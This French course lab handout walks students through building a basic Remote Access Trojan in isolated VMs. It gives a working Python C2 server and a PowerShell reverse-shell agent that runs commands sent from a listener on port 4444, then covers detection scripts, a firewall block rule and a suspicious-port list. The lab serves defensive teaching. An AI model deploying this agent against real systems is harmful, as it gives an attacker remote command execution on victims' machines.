Lab 10.3: RAT Simple avec Sockets

Objectifs d'Apprentissage

A la fin de ce laboratoire, vous serez capable de:

• Comprendre l'architecture client-serveur des outils de controle distant
• Developper un serveur C2 basique en Python
• Creer un client (agent) en PowerShell
• Comprendre les techniques de communication des malwares
• Detecter et bloquer ce type de communication

Duree Estimee

60 minutes

Prerequis

• Lab 10.1 et 10.2 completes
• 2 VMs (attaquant et cible) sur le meme reseau
• Python 3 installe sur la VM attaquant
• PowerShell sur la VM cible

Contexte Professionnel

Les RAT (Remote Access Trojans) et C2 (Command and Control) sont:

• Utilises par les Red Teams pour simuler des attaques
• Au coeur de la plupart des malwares modernes
• Essentiels a comprendre pour la detection

Ce lab vous apprend a DETECTER ces menaces, pas a les utiliser malicieusement.

---

AVERTISSEMENT ETHIQUE ET LEGAL CRITIQUE

CE LAB EST STRICTEMENT EDUCATIF

AUTORISE UNIQUEMENT:

• Sur vos VMs de test isolees
• Sans connexion Internet
• Dans le cadre du cours

STRICTEMENT INTERDIT:

• Sur des systemes non autorises
• Avec connexion a Internet
• A des fins malveillantes

CONSEQUENCES LEGALES:

• Acces non autorise = Crime (Code criminel)
• Prison et amendes massives
• Casier judiciaire permanent

En continuant ce lab, vous acceptez ces conditions.

---

Partie 1: Architecture C2

Etape 1.1: Composants d'un RAT

[Serveur C2]                    [Agent/Client]
(Attaquant)                     (Cible)
     |                               |
     |<------ 1. Connexion --------->|
     |                               |
     |------- 2. Commande --------->|
     |                               |
     |<------ 3. Resultat ----------|
     |                               |
     |------- 4. Nouvelle cmd ----->|
     |       ...                     |

Etape 1.2: Types de communication

Type	Direction	Avantage	Inconvenient
Bind Shell	Attaquant -> Cible	Simple	Bloque par firewall
Reverse Shell	Cible -> Attaquant	Bypass firewall	Necessite IP accessible
HTTP C2	Cible -> Attaquant	Discret	Plus complexe

Nous allons creer un Reverse Shell simple.

---

Partie 2: Serveur C2 (Python)

Etape 2.1: Creer le serveur

Sur la VM "attaquant", creez serveur_c2.py:

#!/usr/bin/env python3
"""
Serveur C2 educatif - NE PAS UTILISER EN DEHORS DU LAB
"""
import socket
import sys

def banner():
    print("=" * 50)
    print("  SERVEUR C2 EDUCATIF - LAB 10.3")
    print("  Usage: python serveur_c2.py <port>")
    print("=" * 50)
    print()

def start_server(port):
    # Creer le socket
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    
    try:
        server.bind(("0.0.0.0", port))
        server.listen(1)
        print(f"[*] Serveur en ecoute sur le port {port}")
        print("[*] En attente d'une connexion...")
        
        # Accepter une connexion
        client, address = server.accept()
        print(f"[+] Connexion recue de {address[0]}:{address[1]}")
        print()
        print("Tapez vos commandes (tapez 'exit' pour quitter):")
        print("-" * 50)
        
        while True:
            # Lire la commande
            command = input("C2> ")
            
            if command.lower() == "exit":
                client.send(b"exit\n")
                break
            
            if not command:
                continue
            
            # Envoyer la commande
            client.send((command + "\n").encode())
            
            # Recevoir le resultat
            result = b""
            while True:
                chunk = client.recv(4096)
                if not chunk or chunk.endswith(b"END_OF_OUTPUT\n"):
                    result += chunk.replace(b"END_OF_OUTPUT\n", b"")
                    break
                result += chunk
            
            # Afficher le resultat
            print(result.decode('utf-8', errors='ignore'))
        
        client.close()
        
    except KeyboardInterrupt:
        print("\n[!] Arret du serveur...")
    except Exception as e:
        print(f"[!] Erreur: {e}")
    finally:
        server.close()

if __name__ == "__main__":
    banner()
    
    if len(sys.argv) != 2:
        print("Usage: python serveur_c2.py <port>")
        sys.exit(1)
    
    port = int(sys.argv[1])
    start_server(port)

Etape 2.2: Lancer le serveur

python3 serveur_c2.py 4444

Questions:

1. Sur quel port le serveur ecoute-t-il?
2. Que se passe-t-il si le port est deja utilise?

---

Partie 3: Agent/Client (PowerShell)

Etape 3.1: Creer l'agent

Sur la VM "cible", creez agent.ps1:

# Agent C2 educatif - NE PAS UTILISER EN DEHORS DU LAB
# =====================================================

param(
    [Parameter(Mandatory=$true)]
    [string]$ServerIP,
    
    [Parameter(Mandatory=$true)]
    [int]$ServerPort
)

Write-Host "=== AGENT C2 EDUCATIF - LAB 10.3 ===" -ForegroundColor Cyan
Write-Host "Connexion a $ServerIP`:$ServerPort..." -ForegroundColor Yellow

try {
    # Creer la connexion TCP
    $client = New-Object System.Net.Sockets.TcpClient($ServerIP, $ServerPort)
    $stream = $client.GetStream()
    $reader = New-Object System.IO.StreamReader($stream)
    $writer = New-Object System.IO.StreamWriter($stream)
    $writer.AutoFlush = $true
    
    Write-Host "Connecte au serveur C2!" -ForegroundColor Green
    Write-Host "En attente de commandes..." -ForegroundColor Yellow
    
    while ($true) {
        # Lire la commande du serveur
        $command = $reader.ReadLine()
        
        if ($command -eq "exit" -or $command -eq $null) {
            Write-Host "Deconnexion..." -ForegroundColor Red
            break
        }
        
        Write-Host "Commande recue: $command" -ForegroundColor Gray
        
        # Executer la commande
        try {
            $output = Invoke-Expression $command 2>&1 | Out-String
            if ([string]::IsNullOrEmpty($output)) {
                $output = "[Commande executee sans sortie]"
            }
        } catch {
            $output = "Erreur: $_"
        }
        
        # Envoyer le resultat
        $writer.WriteLine($output)
        $writer.WriteLine("END_OF_OUTPUT")
    }
    
} catch {
    Write-Host "Erreur de connexion: $_" -ForegroundColor Red
} finally {
    if ($client) { $client.Close() }
    Write-Host "Agent termine." -ForegroundColor Red
}

Etape 3.2: Lancer l'agent

.\agent.ps1 -ServerIP "192.168.100.10" -ServerPort 4444

Remplacez l'IP par celle de votre VM serveur.

---

Partie 4: Test de Communication

Etape 4.1: Sequence de test

1. VM Serveur: Lancez le serveur

   python3 serveur_c2.py 4444

2. VM Client: Lancez l'agent

   .\agent.ps1 -ServerIP "IP_SERVEUR" -ServerPort 4444

3. Sur le serveur, testez des commandes:

   C2> whoami
   C2> hostname
   C2> Get-Process | Select-Object -First 5
   C2> Get-Date
   C2> exit

Etape 4.2: Documenter la communication

Questions: 3. Les commandes sont-elles executees sur le client? 4. Les resultats reviennent-ils au serveur? 5. Combien de temps prend un aller-retour?

---

Partie 5: Detection et Defense

Etape 5.1: Detecter la connexion

Sur la VM cliente, pendant que l'agent est actif:

# Voir les connexions etablies
Get-NetTCPConnection -State Established | 
    Where-Object { $_.RemotePort -eq 4444 -or $_.LocalPort -eq 4444 } |
    Select-Object LocalAddress, LocalPort, RemoteAddress, RemotePort, OwningProcess

# Identifier le processus
Get-Process -Id (Get-NetTCPConnection -RemotePort 4444).OwningProcess

Etape 5.2: Detecter dans les logs

# Events de connexion reseau (necessite audit active)
Get-WinEvent -FilterHashtable @{
    LogName = 'Security'
    ID = 5156  # Windows Filtering Platform
} -MaxEvents 10 -ErrorAction SilentlyContinue

Etape 5.3: Bloquer avec le pare-feu

# Bloquer les connexions sortantes sur le port 4444
New-NetFirewallRule -DisplayName "Block C2 Port 4444" `
    -Direction Outbound `
    -LocalPort 4444 `
    -Protocol TCP `
    -Action Block

# Verifier la regle
Get-NetFirewallRule -DisplayName "Block C2*"

# Supprimer la regle (apres le lab)
Remove-NetFirewallRule -DisplayName "Block C2 Port 4444"

Etape 5.4: Script de detection automatique

# Script de detection de connexions suspectes
Write-Host "=== DETECTION CONNEXIONS SUSPECTES ===" -ForegroundColor Cyan

$suspectPorts = @(4444, 5555, 6666, 1337, 31337, 8080, 8443)

$connections = Get-NetTCPConnection -State Established | Where-Object {
    $_.RemotePort -in $suspectPorts -or $_.LocalPort -in $suspectPorts
}

if ($connections) {
    Write-Host "`n[ALERTE] Connexions suspectes detectees:" -ForegroundColor Red
    foreach ($conn in $connections) {
        $proc = Get-Process -Id $conn.OwningProcess -ErrorAction SilentlyContinue
        Write-Host "  Port: $($conn.RemotePort) | Processus: $($proc.Name) (PID: $($conn.OwningProcess))" -ForegroundColor Yellow
    }
} else {
    Write-Host "`n[OK] Aucune connexion suspecte detectee" -ForegroundColor Green
}

# Verifier PowerShell avec connexions reseau
$psSessions = Get-NetTCPConnection | Where-Object {
    $proc = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
    $proc.Name -eq "powershell" -and $_.State -eq "Established"
}

if ($psSessions) {
    Write-Host "`n[ALERTE] PowerShell a des connexions reseau actives!" -ForegroundColor Red
    $psSessions | Format-Table LocalAddress, LocalPort, RemoteAddress, RemotePort
}

Questions: 6. Votre agent est-il detecte? 7. Le blocage par firewall fonctionne-t-il?

---

Partie 6: Ameliorations (Discussion)

Etape 6.1: Comment les vrais malwares evitent la detection

Techniques courantes (a titre informatif):

• Utilisation de ports standards (80, 443)
• Chiffrement des communications (HTTPS)
• Beaconing irregulier
• Domain fronting
• DNS tunneling

Etape 6.2: Comment les defenseurs repondent

• Analyse comportementale (EDR)
• Inspection SSL/TLS
• Detection d'anomalies reseau
• Threat intelligence
• Sandbox analysis

Question: 8. Comment detecteriez-vous un C2 utilisant HTTPS sur le port 443?

---

Nettoyage

IMPORTANT: Apres le lab, supprimez les fichiers:

# Sur la VM cliente
Remove-Item .\agent.ps1 -Force

# Sur la VM serveur
rm serveur_c2.py

Retirez les regles de firewall ajoutees:

Remove-NetFirewallRule -DisplayName "Block C2*"

---

Livrables

1. Captures d'ecran:

   • Serveur en ecoute
   • Agent connecte
   • Commandes executees
   • Detection de la connexion

2. Reponses aux 8 questions

3. Analyse (2 pages):

   • Architecture du RAT
   • Faiblesses de ce RAT simple
   • Comment un vrai malware l'ameliorerait
   • Methodes de detection recommandees

---

Criteres d'Evaluation

Critere	Points
Serveur/client fonctionnels	25%
Communication etablie	20%
Detection implementee	25%
Analyse et comprehension	30%

---

Commandes de Reference

# Connexions
Get-NetTCPConnection -State Established
netstat -ano | findstr "ESTABLISHED"

# Firewall
New-NetFirewallRule -DisplayName "Name" -Direction Outbound -LocalPort X -Action Block
Get-NetFirewallRule
Remove-NetFirewallRule -DisplayName "Name"

# Processus reseau
Get-Process -Id (Get-NetTCPConnection).OwningProcess | Select-Object -Unique

# Python serveur
python3 serveur_c2.py 4444

# Verifier ports (Linux)
netstat -tlnp | grep 4444
ss -tlnp | grep 4444

---

Ressources Additionnelles

• MITRE ATT&CK: Command and Control
• C2 Matrix - Comparaison des frameworks
• Detection Engineering

---

Conclusion

Ce lab vous a montre:

1. Comment fonctionne un RAT basique
2. L'architecture client-serveur des C2
3. Les techniques de detection
4. L'importance du monitoring reseau

Le but est de COMPRENDRE pour mieux DETECTER et DEFENDRE.

---

Lab developpe dans le cadre du cours Systemes d'Exploitation - MODULE 10